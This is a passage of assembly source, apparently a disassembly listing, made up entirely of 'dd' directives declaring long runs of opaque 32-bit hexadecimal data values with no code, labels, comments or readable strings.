		dd 0F77B7A7Dh, 78ABA55h, 0D3CD821Eh, 8E1C2044h,	0E400838Ch
		dd 0EDD906A1h, 0D4B30AE7h, 0EC006810h, 0C99D04CBh, 0DF012E31h
		dd 68A162Ah, 0A1D71786h, 0F192BA82h, 68C0D822h,	0C012FAF2h
		dd 841EC517h, 1BF0B4E6h, 0E88F31A3h, 382FE0E9h,	6A8281B0h
		dd 8C45D349h, 27BCD888h, 3C20B9A5h, 741F12AFh, 0B639E018h
		dd 1C51439h, 0C2E6E3F3h, 4177460Ch, 222C8B3Ch, 0D2330BFCh
		dd 375F842Eh, 0C451C4A2h, 8E88E423h, 5C096134h,	83284A9Dh
		dd 82E86F24h, 0FD60E064h, 37A71666h, 8704324Dh,	812F304h
		dd 1380AD2Ch, 4EA725DFh, 0D12D1F2Fh, 99050A36h,	6F1EA4h
		dd 0B8EBC69Fh, 8C289B31h, 47516028h, 8CBF0A8h, 2AEB2E04h
		dd 0F3220E23h, 88AC3910h, 0B1C03C9Ch, 9BCDE3EEh, 9F7300B6h
		dd 0DCC23BFEh, 0C90174EDh, 6E7F21Ch, 2C706B64h,	3B3831B8h
		dd 80E32339h, 0CBDC6659h, 4657BBh, 2E9A374Eh, 7D6C3F26h
		dd 0FB3A4700h, 6B39B4B1h, 80BB6769h, 0C9B714C1h, 74DC0048h
		dd 8F22D366h, 1328719Eh, 3B936EDh, 1BAF6245h, 0E85187F8h
		dd 212FAE04h, 38A0DEBBh, 84B25406h, 2482015Dh, 38E68DDDh
		dd 142267h, 68B151Fh, 7CD2CFh, 0D77548C0h, 0BA5A7DEh, 9D463614h
		dd 4E8B0C08h, 5CBA29CEh, 8D2201Eh, 438BA770h, 0BE1100CDh
		dd 0F0BB75Bh, 0B91DD358h, 0CFC289C0h, 0FD008B4Bh, 0DB559EE4h
		dd 0C462Ah, 607549AEh, 8AEC6980h, 0BD6F4E01h, 8CD18797h
		dd 0C56C06C4h, 0F9D4911h, 1C061214h, 310A78A1h,	0FC572EBAh
		dd 0F374D140h, 47F70013h, 69309E23h, 1E5C07C3h,	0FC228Ch
		dd 0D8B34F4Ch, 0F442D6C1h, 0DD589Fh, 0B820E92Dh, 8D3ECB0Bh
		dd 5C20654Eh, 0A6C54Ch,	0FC46C82Dh, 51D63B42h, 4E1134Ch
		dd 1F209EFAh, 0AF0824A2h, 0A3A89F91h, 8D3AA901h, 0B9F207D3h
		dd 2985060h, 4FAE6188h,	5AC2A5h, 3CF61702h, 10898E6Bh
		dd 0EB004B36h, 0BE2EA1D6h, 5DDDD9ABh, 661130E3h, 0A32801B2h
		dd 17BD3551h, 0A3AD8FF0h, 5868D00Ch, 0D779015Ch, 808C1551h
		dd 361FF0BDh, 3CF7CB03h, 1CC3EA6Ah, 0D7764731h,	0F6040268h
		dd 0C8222BE0h, 220D8B1h, 0F0F97A83h, 3C40701Eh,	0C0912EA2h
		dd 68CD4964h, 0EA0BF062h, 20109117h, 0F100C4F4h, 3C06581Fh
		dd 4BE43D0h, 3946A8FCh,	2B548861h, 0DBC51501h, 2EC2E4E3h
		dd 583375FDh, 88C44E10h, 9D2804A2h, 23805C42h, 5556AE1Eh
		dd 1C7F589Ah, 0A38E4F80h, 0C50E6F6Ch, 0F280C99h, 0F7C12426h
		dd 88B408A4h, 4100847Bh, 0A57EBEB7h, 0DB93C4h, 59CDFD36h
		dd 0C290027Ch, 31BA2F02h, 662A8C99h, 0F9797340h, 22861C08h
		dd 7491DEC1h, 936CFE80h, 0B199ACCh, 0D1B7EBE7h,	0C004900Bh
		dd 0C96C2141h, 0FB7FC110h, 3A1884F3h, 0BB43DC64h, 31283035h
		dd 48EE3423h, 5E195501h, 0BFEB3963h, 2E34470h, 25F4B41Bh
		dd 20F17011h, 85493848h, 902CC52Ch, 506000DCh, 932C5DCCh
		dd 0C0F036Eh, 60FEAC5Ch, 32D9EECAh, 2FB92CFBh, 846C0628h
		dd 0E24558B8h, 0B63A9030h, 17C4E098h, 161DF046h, 40404AD9h
		dd 593913FDh, 3A8D13BAh, 0DE5CC962h, 48088F19h,	0E08B8D02h
		dd 9FD46h, 0F752F0B1h, 0E789320Eh, 21996E48h, 24AEA73h
		dd 1F34FCh, 0F06050C8h,	0B138F0Eh, 7F462400h, 0E935DED9h
		dd 74E54422h, 9029A500h, 0F3305C9h, 0E6721216h,	47E42753h
		dd 0C2136477h, 0C448B460h, 0AF00E8ECh, 0B6FB12F6h, 0FFD1529h
		dd 6E74965Ch, 757F47C0h, 34028411h, 6CD0A71Dh, 3688C0C6h
		dd 0B4EB4C4Eh, 0BE2A64C0h, 0F44C416Dh, 55E1007Ch, 13480481h
		dd 5FAD0DFBh, 0D8A9DF24h, 2003F79Ch, 6E668E3Dh,	0FB7CA03Bh
		dd 9050A94h, 4498874Ch,	0CC30C5D1h, 0C629A2B4h,	0C439F8F6h
		dd 121500E1h
		dd 0ED17B8CDh, 9600C519h, 0CFF053A1h, 5EAA72Ah,	0F4D5A9B2h
		dd 0B5BC4B1Dh, 134B825Dh, 505223h, 8F865E10h, 2E847736h
		dd 2550800h, 58AC3226h,	0BDA10015h, 878E2766h, 17002E6Ah
		dd 0F94D34C9h, 0A9E4914h, 25376EC6h, 8F8E0A08h,	60E42614h
		dd 8B668C58h, 0E5DFC500h, 0F8509378h, 44D8009Dh, 64BAC363h
		dd 0D758ED45h, 0C60B71C8h, 60C0257Ah, 481CE4h, 0B64BC22Fh
		dd 14BD91AEh, 7FC81012h, 0A3B3C820h, 223F0918h,	0C0802911h
		dd 0EBD95625h, 86322802h, 7AB1F461h, 0F18C00FCh, 9CF37E9Dh
		dd 0B40FF59Fh, 0DDC3CBFEh, 0C10C0B4h, 8204FBCh,	0BA384BB8h
		dd 547D00E4h, 0E2D851EEh, 131D3628h, 0FF18BB8Fh, 0A8E12391h
		dd 42FEB0h, 7586373Ah, 2C6002E9h, 8A444500h, 904D353Fh
		dd 0C06E7AD0h, 0F1050478h, 8551B509h, 350801B8h, 17144025h
		dd 0C997320h, 28140B00h, 0D455248Eh, 464BB4A9h,	29389C5Ch
		dd 12E7AA00h, 7E65B128h, 0C7E00040h, 9D47A010h,	9008056h
		dd 0E960484Dh, 0B8B4968Fh, 0DE101E00h, 1C91007Bh, 0A645E0F4h
		dd 8A1559C3h, 7CE2FD22h, 0E6007A3Ch, 29B25604h,	6C3E7C8Bh
		dd 0A1242F91h, 0B88FBAA4h, 7047860h, 54DA833Ch,	90D1A151h
		dd 295983BBh, 0CB317287h, 0DAC7F1F1h, 4996D0h, 0D8F8927Ch
		dd 3C018AF2h, 5704C1FEh, 0DBC684E9h, 0E01260E6h, 0A2249032h
		dd 2AF9DFC3h, 0D6747460h, 3A173A2Bh, 0CACB0077h, 819E16F8h
		dd 0A707FACCh, 0B685DCD1h, 2C8C5E40h, 48E67201h, 520044C6h
		dd 8A14989Ah, 4513D22Ah, 6098AE99h, 38BB29AFh, 3C400D0h
		dd 64131626h, 0C517AA12h, 39946C30h, 473CB657h,	19A282BBh
		dd 0E06524C8h, 3C362184h, 0BD00E211h, 8E093DC2h, 7600D0F1h
		dd 1CC6E7B3h, 0B86DFF69h, 41AE6072h, 0E07CEFC0h, 263B3112h
		dd 0F28B9C02h, 0B28C450h, 0AFEAB3D1h, 69C65C86h, 1209AEF8h
		dd 549A674h, 0B8E4C4A8h, 4B2C5BE0h, 0F0139C24h,	4A6B66A0h
		dd 1F449B05h, 0CC008AECh, 0EBB30D16h, 86C8B91Eh, 1919998Eh
		dd 0E48DA226h, 1A56AF41h, 88C8A470h, 5400E729h,	3F234305h
		dd 794978Eh, 64CF0CF4h,	0CBA7806Eh, 0AF4C08D6h,	289D0048h
		dd 0A0C6363Bh, 7CD611h,	0F393A150h, 0CCA013DAh,	8B884034h
		dd 9A9F0139h, 7A82833Fh, 2280DDECh, 4B340344h, 0B00D15C0h
		dd 503788C6h, 13B70823h, 0F5BE695h, 0DB21F96Ah,	0D0E765CFh
		dd 0C24DA31Dh, 44398918h, 0B04550D0h, 890584C7h, 0DC5D9B49h
		dd 0BE82D5C0h, 0E0D0FF88h, 89AD6144h, 48693915h, 0A0609188h
		dd 5E3B3619h, 0B6A90089h, 0AC52C03Ch, 1402DAEDh, 9F8E1365h
		dd 8CF4807Ch, 637FBCFDh, 743C39B4h, 0C587C9B0h,	9D1E0D0Ch
		dd 8A9139h, 0ABE4FF4Bh,	26D121A4h, 9A0A5500h, 9DFD01CBh
		dd 0F96B2F3Ah, 0FC595092h, 0E7368440h, 0B046E4F5h, 0C6000A2h
		dd 3B570516h, 0A400EA02h, 43D5FCDh, 0F21ADCD2h,	25A6096Dh
		dd 505929CAh, 8EF20800h, 0AB8DA0h, 0C9F36659h, 627E2AEBh
		dd 4ABC044Ch, 221269A8h, 0AF604F70h, 5F3297C0h,	5103A2ADh
		dd 0CA1E294Fh, 0C3982CEAh, 8B2F3EDCh, 0DE35EC18h, 0D58ECB03h
		dd 71F81D1h, 0CAB29AB0h, 6692B0DCh, 0AC0379A2h,	25C87834h
		dd 1C18C63Ah, 0BB0A0F6h, 5C831975h, 99A89684h, 1C17DB27h
		dd 0A0279D2Bh, 50BA8F50h, 0EF290086h, 1E6A9901h, 470B4EE8h
		dd 9851E478h, 0B4E79850h, 28964B4h, 729D20B6h, 0FFA85068h
		dd 4A8803CBh, 4285098h,	34D2A6C0h, 0F01DF309h, 7F84451h
		dd 0DCCEE177h, 0C41C85F5h, 0E708009Ch, 0A00FF8AFh, 0BB25540Bh
		dd 9C0000EBh, 4A2C1FC3h, 0E40C5DAAh, 0C9C09758h, 702954h
		dd 145C932Fh, 259FEDBFh, 68E09964h, 96165E87h, 6C001807h
		dd 0A6AED661h, 10BE5CC6h, 74310841h, 0FA9D1402h, 13D107FCh
		dd 70A206D7h, 1EA95CCh,	0FD6BDC04h, 0D141C455h,	37FBC666h
		dd 0F9130BF8h, 2F0C5E6h, 0EA41BCB4h, 0DE2C443h,	0A164A021h
		dd 1820332Bh, 0CDF7B8C0h, 0FB748300h, 676AD54Ch, 0F720522h
		dd 0F65CA981h, 18BF39C8h, 8E41EA56h, 2B490372h,	18B4E496h
		dd 8899AC2h, 69007466h,	1B487F0Ch, 2BB170h, 61CF4C8Ch
		dd 8F3DCA1Ah, 0E2FBAD3Dh, 270A38B1h, 128B73EBh,	34C7A0A7h
		dd 0B7008621h, 0A0182C5Ah, 1EF01937h, 46B5B0h, 8647EAA8h
		dd 38003AAEh, 0C312C2BEh, 639D2817h, 0DB7B5143h, 11D9C4F0h
		dd 4E857A03h, 0A190AFh,	3DE55D71h, 20032992h, 8D0D5200h
		dd 0E8ED238Eh, 24867E51h, 11D8995Ah, 7EDE0141h,	0CA0A5F21h
		dd 9AF7BDE4h, 29F89034h, 12F034BAh, 7150E423h, 4D006273h
		dd 382A9260h, 4CB3131Ah, 0C20088D1h, 1BFA8E2Eh,	0B894EBC5h
		dd 0B9120D00h, 4CBBA18Bh, 1680A83Ah, 8EA586D3h,	0CCC9A625h
		dd 0DD55006Ch, 5B31AFFAh, 8700C86Fh, 7CA7A853h,	9824D5DEh
		dd 0ED820CCh, 85D31219h, 9315B148h, 91A17BF0h, 48C50BAh
		dd 0F800E126h, 87655BD2h, 62D3EB17h, 0C8CD386Dh, 756B4820h
		dd 58817389h, 0F101A0D9h, 39BACA08h, 0A771BAE8h, 3A10116Ch
		dd 6CAC000Bh, 86921A40h, 82BA0706h, 0F0D8B4BCh,	0EE786468h
		dd 0D7F11116h, 249C7882h, 0B6F4C213h, 651DB420h, 361E27C7h
		dd 45DC8443h, 40126A39h, 0FA000CF3h, 0C7A4F037h, 0FB00AB50h
		dd 0CF03436Ah, 319CE3h,	6B3FDA76h, 0F7AE16ADh, 5BE73Bh
		dd 58B66C2h, 1E713C60h,	65CAB5h, 1135FC08h, 8D12E8FEh
		dd 0E20616F6h, 0D3C86B39h, 993C8878h, 4101E500h, 72DB19D4h
		dd 0FCB61671h, 650F0069h, 177C37C0h, 0CE5CE913h, 0F0B270D4h
		dd 0C9304988h, 53E3C3C1h, 3D1DA811h, 0B0D040B9h, 7F5E5524h
		dd 39D78700h, 1BB88D28h, 49800094h, 2713B93Ah, 34013C11h
		dd 6BBE21A1h, 48920FA5h, 8ECC02A7h, 9C050B3Ah, 3D9C88h
		dd 0EE7309ABh, 6F5A0DD2h, 0BB962900h, 7CD8D795h, 240C90EBh
		dd 3A704C5Fh, 28EA8C00h, 8DEE7535h, 0AE099C73h,	108E639h
		dd 0AFBAED78h, 675D2883h, 32A8BEE7h, 8C5F9D26h,	22B0FC22h
		dd 307C22BBh, 1CBCAE40h, 4C34927Dh, 6F3B94C3h, 1E0121EFh
		dd 0EEC5A31Fh, 4E0548F1h, 18803E38h, 2EA413F6h,	1140EBB9h
		dd 248C08B5h, 221380ABh, 0B1903C71h, 3A0011F4h,	8F238146h
		dd 24C47FC2h, 96E02C06h, 8D989084h, 0C755CB24h,	0FC187420h
		dd 0B48E6624h, 9D1D123Fh, 45C17090h, 8AB60ECAh,	8980C028h
		dd 85A1D42Ah, 5E04F4B0h, 14651C21h, 360000F2h, 7888FA16h
		dd 5512C339h, 18E2E18Ch, 4B69A07h, 6BC0DFDBh, 5C16CE7Dh
		dd 0E3321F03h, 98EA0F89h, 24457B80h, 9ECA63Fh, 0F8D22D64h
		dd 88A0C0B0h, 0AE00E8E6h, 2A491C28h, 0F0702190h, 3A7D0B45h
		dd 0FC44FF6Ah, 13401896h, 955F3D26h, 0B8065023h, 8030293Eh
		dd 8BA478Dh, 2DF8157h, 9AD98BEBh, 0E87956D0h, 28CFD200h
		dd 82B8F6h, 0D1ABFCCh, 0D4D83808h, 125CCD3Fh, 0D4B3FC68h
		dd 4C04E6D2h, 0AD8B002Bh, 0E7D7AB35h, 215A0153h, 6757D980h
		dd 0D8F2CCF6h, 0BEF56502h, 5A2315BFh, 0AA7A9Ch,	95FD7DEBh
		dd 7160664Fh, 5C907002h, 8204BA96h, 0C0091AFBh,	9FE729h
		dd 0A02F1254h, 0CDA1C0Eh, 0BA1F893Ah, 1BCD02F2h, 5630E095h
		dd 0FB1582C0h, 20E228B5h, 2423E844h, 955A94C6h,	7CF5A900h
		dd 779CDD95h, 0F793E200h, 8567FBBBh, 8425513Ch,	798642Ah
		dd 124F53D8h, 0C8604348h, 0B174351Eh, 1503D58h,	242B8458h
		dd 202AED13h, 5BC4A4D8h, 0AC7DE000h, 1167D3ADh,	3B63F840h
		dd 0A50052F8h, 8F0760A7h
		dd 6C9804BFh, 2B74920h,	0E022F095h, 14681D43h, 458D78Ch
		dd 0E8EA2238h, 0F2261817h, 0AE9284Bh, 4F8BA280h, 0BC2C88E3h
		dd 29B9E28Bh, 0A000FCC6h, 8C9544F0h, 3C4F7BDFh,	0DD0040AAh
		dd 0D9ED782Ch, 460E473Ah, 0C25EFCA4h, 52B4E66Bh, 0EA3C44DCh
		dd 0F0D0074Eh, 8DC625h,	0F34B17E7h, 5C247F89h, 0A9160B3h
		dd 300C205Ah, 0D8ECCF67h, 6569531h, 503012D9h, 62EF84DCh
		dd 0ABF4C070h, 10B2266h, 99085E5Ch, 0F4F806E0h,	0CC0C1C91h
		dd 0B85FFC6Eh, 98408A72h, 3B00A97Ah, 0F55604E0h, 14811DDBh
		dd 0A46CF229h, 250D7610h, 6F0A19Ch, 0FBDCF3D6h,	0C3FD1389h
		dd 0EA6C0E09h, 10472999h, 3A0DB46Eh, 298055D9h,	89D8935Ch
		dd 874BFDC2h, 0A51FB093h, 120EA890h, 0F1563D9Dh, 5ECB3580h
		dd 0D5CC4D8Bh, 0B4647A12h, 3528D8E7h, 0E0EA0148h, 0AE108682h
		dd 228864FCh, 0A3E1B661h, 0F4500D8Dh, 6A58764h,	0E8261D49h
		dd 9DF84153h, 2E00CAF4h, 3D31FC4Fh, 3A75D5B7h, 0FB293D7h
		dd 845E3A60h, 0C8B1B80h, 585BB814h, 9F22F4F1h, 31E01204h
		dd 44FD0AADh, 0B3C19E80h, 9D025374h, 0B4AF418Fh, 5667C0ECh
		dd 0FC5F01E3h, 0C315792Ch, 73603D5Ah, 0C8B72300h, 0E040CE68h
		dd 2CAB502Bh, 96C883Dh,	0EF64041Dh, 0A4499A00h,	0A7B935h
		dd 1ADF4AA5h, 69CAC239h, 0C880104Eh, 39A0EAEh, 42EC51F8h
		dd 78C33E8Fh, 0F283DFD3h, 0EFC243F0h, 9EBBF01Ch, 0B0413C8Ah
		dd 0FD798A60h, 8E2913B4h, 44A4304Eh, 2E005789h,	1B2F9232h
		dd 3F53BCCDh, 1A80DBF7h, 7B26BAB1h, 0E325FC87h,	16644809h
		dd 406E4BF4h, 0CA048BC0h, 0B1057CCCh, 2C8C86C9h, 0B72F0802h
		dd 0BB6C61F5h, 2AC1A211h, 392E2420h, 0B3C400AFh, 0D51012BBh
		dd 0B496F2D9h, 7E9D1303h, 0B4390ED0h, 0D0766470h, 52B88CFCh
		dd 0C1C9CD25h, 785038B8h, 7A852F89h, 90267BC5h,	0B2B144E8h
		dd 0E0BEC00h, 4C132EE4h, 449E302Ah, 0A557D439h,	78372600h
		dd 609D32Bh, 0A8CF88B3h, 58641D00h, 22AEF4B1h, 0B64B0174h
		dd 3911DDB9h, 0B82CF846h, 1F806E4h, 1974C700h, 0E67C48EAh
		dd 0FD4F00C3h, 0B72AFFE2h, 0E300CBCEh, 5FE533B8h, 0E654E9DFh
		dd 90E6A2h, 0D646BE7Fh,	176514E1h, 0A0713A32h, 601961B4h
		dd 91157C69h, 263E8CA9h, 94199C80h, 0E2716EBEh,	0A736E0B7h
		dd 549903EBh, 4D51A585h, 28D1B89Ah, 5121BB0Bh, 29420040h
		dd 0E60E99C1h, 6F00E7F0h, 0EC4074DCh, 0E2EDA03h, 4BD067EAh
		dd 0B02C480h, 9C4FC7EDh, 54707443h, 3D759980h, 1DE952F8h
		dd 0E7251065h, 0BA2588E4h, 90D0C420h, 57230BD1h, 0B8EA46h
		dd 0CA00915Bh, 83512DA0h, 30D69BDh, 171355Ch, 0A4FB42D5h
		dd 0DB41B907h, 8490E096h, 0D4D7DCh, 2EC92008h, 0C381BBBFh
		dd 7DD62A00h, 0E4AB0D18h, 56FB01DDh, 8B54CCE8h,	0AFF4F4C9h
		dd 2358105h, 0B816D9CBh, 4B8488h, 30EA79DDh, 4662FBE8h
		dd 5092AF75h, 0E01610F3h, 88B54448h, 29134E0Fh,	0E0E9BBA3h
		dd 0EA9FB351h, 0E62827F8h, 0C04AC86Ch, 0C4A44053h, 90DB74C3h
		dd 50CCB490h, 94F4EEFFh, 0B13C3F1Ch, 0D3024F41h, 182D2EE0h
		dd 24131527h, 0E31E83E8h, 1D0BC31Ch, 2A8AE14h, 0BBDE6FCCh
		dd 0D07223h, 8833ED30h,	0EB69CB57h, 51818900h, 0E091AE9Eh
		dd 0C8100A16h, 0E048C7A5h, 0DE91FB41h, 24B67F03h, 0A84C5ECDh
		dd 16D87D6Ch, 0B0B1F460h, 5A84FC78h, 668C283Ch,	9B5CE200h
		dd 8F21485Bh, 98634CECh, 0D0AF062Dh, 64D15000h,	0B675A644h
		dd 168D213Eh, 0F4A48E1Fh, 0E172B0h, 0DDC7F5B4h,	5C954C20h
		dd 41788001h, 8AB6104Bh, 0C84B3C32h, 31842C50h,	34A0A58Ch
		dd 88FC0832h, 7EEA6984h, 8356D83Eh, 3C2F8695h, 0ACA0E0E1h
		dd 6107011Fh, 395A08EDh, 9C87DA5h, 108E18C5h, 29441D0h
		dd 0A31D9208h, 0D360D410h, 9900232Bh, 9C7790ABh, 1E29AEF1h
		dd 0A4EEB0B3h, 3C182788h, 0B8022BEFh, 26686D5h,	0AC336313h
		dd 0B43198E8h, 0A5AE8008h, 7CC030E9h, 0AAAD005Fh, 3E610A08h
		dd 53023263h, 0E629E83h, 6451B6h, 8C67D841h, 0B13E6149h
		dd 37CD0A4Dh, 7D00EB4Ch, 0E78210EEh, 0F407B72Ch, 2E4568C7h
		dd 10C1A8B8h, 0AC46D762h, 28602428h, 3B6F5A03h,	0AC00BE4Fh
		dd 5142013Bh, 482D0FA2h, 0BBB061B6h, 0F43F5610h, 5403C27Bh
		dd 0CD9FEA18h, 0E5B122AEh, 0D1EF5800h, 0D2D06392h, 68273E78h
		dd 0AC0E500Ah, 427E8FA0h, 3512DD81h, 0E72BD06Bh, 0CBAEEA1Dh
		dd 38E32C7Bh, 344902Fh,	1DC000A3h, 849C307Fh, 6600543Ah
		dd 213516DDh, 322B7C57h, 0B5F040CFh, 62B8B120h,	351814D2h
		dd 28A8D8E9h, 2C221624h, 751D3540h, 583E0DBh, 0A074AC37h
		dd 3495C0DCh, 4517C926h, 5C489632h, 0EB1480B6h,	337B557h
		dd 22B81A08h, 66398B33h, 28406459h, 633AE4h, 0A0946F49h
		dd 0A90B683Ch, 8EBA8000h, 0D4333891h, 13DD3C3Bh, 0A0087DA8h
		dd 4BBBB280h, 68E8881Fh, 98957784h, 0D1511217h,	0B1648240h
		dd 77E8DA20h, 0A6020B7Ch, 0D0008E15h, 0E936C581h, 0FE492C00h
		dd 0C7BBDF8Bh, 0CEA17362h, 8EC0CE18h, 0AF86B206h, 0C6F642Ch
		dd 0D047BA03h, 92DF040h, 4BF5487Dh, 0D6B95400h,	8620E544h
		dd 0BE0D7F02h, 0D48365B2h, 9A0306D0h, 341040C2h, 5508D1D6h
		dd 20037A4Ch, 3DD5FBC7h, 3926C418h, 58960F84h, 1C3B5282h
		dd 832CE485h, 0A87B828Ch, 0B13E530Ch, 0E773090h, 0BAD90D24h
		dd 7B4427C1h, 8CE8900Fh, 84C7B410h, 0ED22872Dh,	1B9F401Eh
		dd 10D15322h, 4F3D94Dh,	0C7B589CEh, 3A25AF7Ch, 90B4E46Bh
		dd 0F8E445D4h, 26009549h, 0A013AB2Bh, 2F179664h, 1B708EFAh
		dd 12F9A7Bh, 0EA0C38C5h, 0A1080ACBh, 4F4C082h, 0A9B8FEh
		dd 528DBD15h, 74A34CE5h, 3309C700h, 4A1EF79Fh, 6CB9572Ch
		dd 1B393182h, 0C7B040CBh, 5D810072h, 69CAE930h,	470CB7F6h
		dd 20E1E071h, 0E39B0A0Ah, 7820FCE5h, 148C5A1Eh,	748FA5BCh
		dd 68C0D058h, 0F335D241h, 0D4E8BC60h, 37D21D9h,	0B9F2C208h
		dd 0CF889D8Ah, 1A0BC4CBh, 188CC1B1h, 0FD19144h,	761366ADh
		dd 38F854E3h, 4637C5B0h, 821E7B12h, 18E37016h, 0E7E0CC4Bh
		dd 9BC76200h, 4CA1C98Dh, 92100076h, 70DCEB12h, 0F8658AA5h
		dd 0A0880769h, 4402148Eh, 0F200ED03h, 0E9F93CAEh, 0F89145E0h
		dd 8B090E09h, 0F7280511h, 0EDF6EC20h, 0F8A1BD22h, 0F447C818h
		dd 8D01954Eh, 0BFBD602Bh, 96F8C977h, 3798A0ECh,	8F7F1Ah
		dd 4989CC4Ch, 48BF166Ch, 0E75C8605h, 0E8F8EAA8h, 7F826880h
		dd 5BF89C85h, 55B8AC00h, 493FDC7Bh, 95710076h, 649FE736h
		dd 0E92DE478h, 6DB82106h, 15C8C091h, 0E0621241h, 6A88E531h
		dd 2C378420h, 124D1F7Dh, 0C080DCBCh, 0B9152379h, 0A22FBAEBh
		dd 0B34648Dh, 605C7312h, 0AE827000h, 54001BF7h,	8B0FCEEEh
		dd 1D9FB06h, 7548EAA4h,	470DCB05h, 34F050F2h, 362CD313h
		dd 440B50B3h, 83947BC0h, 5F1ADDC6h, 1742EA80h, 3B4E1F03h
		dd 0E9C10C2Ah, 29B9E39Ch, 906E7787h, 0E669700Eh, 5703D2CAh
		dd 85520C33h, 0CF06B8DFh, 100A00B2h, 8B456AA7h,	15009466h
		dd 7B58526Dh, 483EE8h, 78D6C330h, 891618C1h, 0BB819200h
		dd 0D4AF3540h, 2AE760CBh, 9B327FA6h, 8517650Fh,	0E4C0A0E5h
		dd 0C6888h, 45AB4E46h, 50D1CE93h, 8EBB38C3h, 0F0DCF07Ch
		dd 5AA0338Ch, 48E04D51h, 3A037B2Ah, 0E4DB5B81h,	32200387h
		dd 3958F331h, 64EE0E7h,	4D60D067h, 76A97438h, 385A79EAh
		dd 989D8389h, 4CA00C8Ah
		dd 81399120h, 0AE58F77h, 281E03E4h, 0B7900F0Eh,	0A006AE35h
		dd 0D60010ECh, 0EBFF7A75h, 0E627C5Eh, 4D6D802Eh, 0D8E3F80h
		dd 2C07299Ch, 51056E6Ch, 9457CD10h, 0C8F2F6h, 92E1FD9Bh
		dd 137A873Fh, 3D99E21Dh, 0BFB00587h, 0FFF5CBA0h, 0C6B6001Eh
		dd 0ED22102Dh, 3FE4EB0Ch, 2700AFF6h, 4E4375C4h,	0E4D418h
		dd 8594F725h, 6D8CF4B5h, 0BE7D3524h, 0E7A77B00h, 3BC21DDh
		dd 2E48F098h, 3783F22Bh, 3DC8D5CBh, 3800CC68h, 0A09C5009h
		dd 1B34204h, 0B2B606E3h, 0D8758A33h, 9B00E2A6h,	96E98315h
		dd 1B1E7Eh, 58386CEAh, 0C8D74FF6h, 11143C30h, 74CE1113h
		dd 0E0F0E3h, 65441A36h,	3377ECC1h, 0F4BF500h, 116A1B16h
		dd 5C4C050Ah, 8E9E03Bh,	6E847814h, 1A80D827h, 7A3F70FEh
		dd 4A5B005Ch, 387E0D67h, 4800DA41h, 81E0F015h, 3E9EE9FBh
		dd 911EC047h, 0AFBAC07Eh, 635FD238h, 2ABFE100h,	0D8EA85B4h
		dd 0B9910031h, 0FE17904Bh, 0B60171DDh, 5D96AF1Ch, 7DD405B0h
		dd 11B100C6h, 0C8CFA7C7h, 9300378Bh, 3A6C093Fh,	2D1513h
		dd 73F2F050h, 8BF93B1Dh, 0F771B103h, 997C7F26h,	0C1D8AE1Fh
		dd 0FDFB0062h, 0C8CB5CB6h, 5500C49Eh, 0D1810DFCh, 148BA2C9h
		dd 9C59BD7Fh, 5A1DC200h, 32229A43h, 0B17E9800h,	75242DDAh
		dd 0E55E099Ch, 6A0E1A3Fh, 258E2EA0h, 0D004803h,	51BCD70Eh
		dd 55DCB1h, 3FDD2D5Dh, 5A924EEAh, 8739BA00h, 182A3C48h
		dd 0A5CD3912h, 4023919Eh, 2075AE7Ch, 4C004363h,	0E505720Bh
		dd 0BE4279h, 0DC76E39Ah, 0DFE99DB6h, 0A55F6A00h, 8E7A348Dh
		dd 1E5728F7h, 538A00F8h, 421BA6D7h, 90083C4h, 745FCC31h
		dd 6CBE29h, 438506CEh, 381A2CBCh, 0FAFBD600h, 0F1BD4D02h
		dd 0CBA70704h, 5092E51Bh, 6317841Eh, 75D48750h,	959D6400h
		dd 2BD72199h, 0F327078Dh, 5E11082Ch, 0D28046E9h, 37D0174Ah
		dd 0C10E7E00h, 7CFF4CAFh, 0B79100CAh, 0F639E11Ch, 9B0E9F71h
		dd 0F36A2h, 218168ADh, 0EC320765h, 0D069E3D8h, 0FD5AA1EFh
		dd 0F86FD61Eh, 0DD95B241h, 6C201641h, 213700F2h, 1CFDA917h
		dd 0A1005FF8h, 79B04E49h, 3C685661h, 6F815330h,	0CD9808DCh
		dd 12F1602Dh, 0A0E3C400h, 0DB9F70D6h, 976A0009h, 0DC29B01Ch
		dd 1400732Fh, 76771BCCh, 73D3B47h, 1F377CB8h, 1118A063h
		dd 28C0BD2Fh, 9C64CE0Eh, 8D39C440h, 90F8835Ch, 281D113Bh
		dd 0C001BA5Eh, 0B744B4E9h, 0C1878FB0h, 657D4B1Eh, 28D780FDh
		dd 0EF033BC1h, 772C737Bh, 23B097B8h, 477419h, 0A3E96F2h
		dd 0E321607Fh, 3698F403h, 98E5371Dh, 489F8Fh, 0CBDC0D73h
		dd 0E8640891h, 1BD9C300h, 0CFFDEF3Dh, 18A10E87h, 8C60CAC1h
		dd 71ADCE7Bh, 6E104400h, 0C3E70BAAh, 754000B3h,	6D6B1F80h
		dd 7800E32Dh, 47F9D38Ch, 0D2D4F7h, 0A5EF3323h, 0AFFD7137h
		dd 0B7F5611Ch, 5647F0C7h, 0BD6B0AE0h, 6FFA0085h, 0C7B8DA4h
		dd 0C000C369h, 31B284AFh, 6DB9530h, 4134FEB9h, 2B01100Fh
		dd 0B53E6AE9h, 94EC889Ah, 64290075h, 0D55317E5h, 0AA0FF27Dh
		dd 0A03F6C72h, 0B28D9F83h, 5A10502h, 0C75F082Dh, 3C850D1h
		dd 0DE2E38BCh, 38306E42h, 3E8C52h, 8DB42B58h, 7E12227Ah
		dd 79F75E00h, 0AA273BD7h, 2BB201F4h, 0D96695B7h, 0EFD4E015h
		dd 9A08800Ah, 0D0B980Eh, 0DBF701B2h, 0E8C44691h, 0D0EA9Eh
		dd 899CACFh, 6878D297h,	4BA7E0F7h, 3F317F3Ch, 0B0F900EFh
		dd 6B41F25Ah, 38E7003Bh, 0BE3CFAFFh, 0F00079BFh, 0D3AA423Fh
		dd 1F7D4F68h, 80B97609h, 0A8F4193Dh, 100A746h, 61CE0B10h
		dd 1AA5E1h, 0CDBAA35Eh,	0D1DCA8EEh, 0E90A0712h,	0FD190700h
		dd 0A03829FFh, 77484D8h, 60FCF485h, 0BC14A0F0h,	500430Ah
		dd 8ABA9C08h, 2F9AB1h, 0B98063ACh, 0EB15C621h, 88D8B600h
		dd 0BCCC99E7h, 0AA0700C5h, 0D294FBA0h, 727E3DECh, 3810BF60h
		dd 3AB67D84h, 36BC618Eh, 260196Fh, 0FA0AA971h, 0AAA040E1h
		dd 0F700788Fh, 330E8B5Bh, 0AF1A93h, 0A2F36439h,	1E67EF0Bh
		dd 0F74F9B00h, 9A6CE527h, 0D24D002Eh, 874051ACh, 1B02DB9Ch
		dd 8194E42Bh, 786407Bh,	18C598EBh, 0AA6E099Dh, 0AF006421h
